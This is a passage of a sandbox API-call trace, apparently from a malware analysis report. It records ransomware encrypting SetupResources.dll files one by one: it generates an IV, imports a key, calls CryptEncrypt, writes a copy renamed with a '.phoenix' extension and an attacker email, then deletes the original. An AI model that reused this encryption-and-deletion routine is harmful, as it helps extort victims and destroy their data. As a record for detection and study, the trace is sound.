	[0063.262] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1
	[0063.263] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0063.263] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0063.263] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=17240) returned 1
	[0063.263] CloseHandle (hObject=0x314) returned 1
	[0063.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80
	[0063.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.264] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0063.264] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0063.264] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0063.264] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.282] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa488) returned 1
	[0063.282] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0063.282] ReadFile (in: hFile=0x314, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x4358, lpOverlapped=0x0) returned 1
	[0063.297] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4360, dwBufLen=0x4360 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4360) returned 1
	[0063.297] WriteFile (in: hFile=0x334, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x4360, lpOverlapped=0x0) returned 1
	[0063.298] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa9c8) returned 1
	[0063.298] CryptSetKeyParam (hKey=0xbaa9c8, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0063.299] CryptEncrypt (in: hKey=0xbaa9c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0063.299] CryptDestroyKey (hKey=0xbaa9c8) returned 1
	[0063.299] WriteFile (in: hFile=0x334, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0063.299] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0063.299] CloseHandle (hObject=0x314) returned 1
	[0063.299] CloseHandle (hObject=0x334) returned 1
	[0063.302] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1
	[0063.304] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0063.304] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.304] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=16728) returned 1
	[0063.304] CloseHandle (hObject=0x334) returned 1
	[0063.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80
	[0063.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.305] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.305] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0063.305] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0063.305] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0063.307] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa308) returned 1
	[0063.307] CryptSetKeyParam (hKey=0xbaa308, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0063.307] ReadFile (in: hFile=0x334, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x4158, lpOverlapped=0x0) returned 1
	[0063.702] CryptEncrypt (in: hKey=0xbaa308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4160, dwBufLen=0x4160 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4160) returned 1
	[0063.702] WriteFile (in: hFile=0x314, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x4160, lpOverlapped=0x0) returned 1
	[0063.703] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa408) returned 1
	[0063.703] CryptSetKeyParam (hKey=0xbaa408, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0063.703] CryptEncrypt (in: hKey=0xbaa408, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0063.703] CryptDestroyKey (hKey=0xbaa408) returned 1
	[0063.704] WriteFile (in: hFile=0x314, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0063.704] CryptDestroyKey (hKey=0xbaa308) returned 1
	[0063.704] CloseHandle (hObject=0x334) returned 1
	[0063.704] CloseHandle (hObject=0x314) returned 1
	[0063.709] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1
	[0063.843] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0063.843] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0063.844] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=18264) returned 1
	[0063.844] CloseHandle (hObject=0x314) returned 1
	[0063.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80
	[0063.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.845] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0063.845] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0063.845] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0063.845] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0063.852] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa508) returned 1
	[0063.852] CryptSetKeyParam (hKey=0xbaa508, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0063.852] ReadFile (in: hFile=0x314, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x4758, lpOverlapped=0x0) returned 1
	[0063.932] CryptEncrypt (in: hKey=0xbaa508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4760, dwBufLen=0x4760 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4760) returned 1
	[0063.932] WriteFile (in: hFile=0x310, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x4760, lpOverlapped=0x0) returned 1
	[0063.934] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa2c8) returned 1
	[0063.934] CryptSetKeyParam (hKey=0xbaa2c8, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0063.934] CryptEncrypt (in: hKey=0xbaa2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0063.934] CryptDestroyKey (hKey=0xbaa2c8) returned 1
	[0063.934] WriteFile (in: hFile=0x310, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0063.934] CryptDestroyKey (hKey=0xbaa508) returned 1
	[0063.934] CloseHandle (hObject=0x314) returned 1
	[0063.934] CloseHandle (hObject=0x310) returned 1
	[0063.936] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1
	[0063.938] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0063.938] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0063.938] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=15192) returned 1
	[0063.938] CloseHandle (hObject=0x310) returned 1
	[0063.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80
	[0063.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.938] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0063.938] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0063.938] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0063.938] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.954] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa6c8) returned 1
	[0063.954] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0063.954] ReadFile (in: hFile=0x310, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x3b58, lpOverlapped=0x0) returned 1
	[0063.983] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x3b60, dwBufLen=0x3b60 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x3b60) returned 1
	[0063.983] WriteFile (in: hFile=0x334, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x3b60, lpOverlapped=0x0) returned 1
	[0063.985] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa608) returned 1
	[0063.985] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0063.985] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0063.985] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0063.985] WriteFile (in: hFile=0x334, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0063.985] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0063.985] CloseHandle (hObject=0x310) returned 1
	[0063.985] CloseHandle (hObject=0x334) returned 1
	[0063.986] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1
	[0063.987] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0063.987] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.987] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=17752) returned 1
	[0063.988] CloseHandle (hObject=0x334) returned 1
	[0063.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80
	[0063.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.988] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.988] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0063.988] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0063.988] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.081] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa988) returned 1
	[0064.081] CryptSetKeyParam (hKey=0xbaa988, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0064.081] ReadFile (in: hFile=0x334, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x4558, lpOverlapped=0x0) returned 1
	[0064.132] CryptEncrypt (in: hKey=0xbaa988, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4560, dwBufLen=0x4560 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4560) returned 1
	[0064.132] WriteFile (in: hFile=0x314, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x4560, lpOverlapped=0x0) returned 1
	[0064.134] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa388) returned 1
	[0064.134] CryptSetKeyParam (hKey=0xbaa388, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0064.134] CryptEncrypt (in: hKey=0xbaa388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0064.134] CryptDestroyKey (hKey=0xbaa388) returned 1
	[0064.134] WriteFile (in: hFile=0x314, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0064.134] CryptDestroyKey (hKey=0xbaa988) returned 1
	[0064.134] CloseHandle (hObject=0x334) returned 1
	[0064.134] CloseHandle (hObject=0x314) returned 1
	[0064.135] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1
	[0064.235] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0064.235] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.236] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=18264) returned 1
	[0064.236] CloseHandle (hObject=0x338) returned 1
	[0064.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80
	[0064.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.236] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.236] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0064.236] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0064.236] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0064.238] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa348) returned 1
	[0064.238] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0064.238] ReadFile (in: hFile=0x338, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x4758, lpOverlapped=0x0) returned 1
	[0064.293] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4760, dwBufLen=0x4760 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4760) returned 1
	[0064.293] WriteFile (in: hFile=0x324, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x4760, lpOverlapped=0x0) returned 1
	[0064.295] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa688) returned 1
	[0064.295] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0064.295] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0064.295] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0064.295] WriteFile (in: hFile=0x324, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0064.295] CryptDestroyKey (hKey=0xbaa348) returned 1
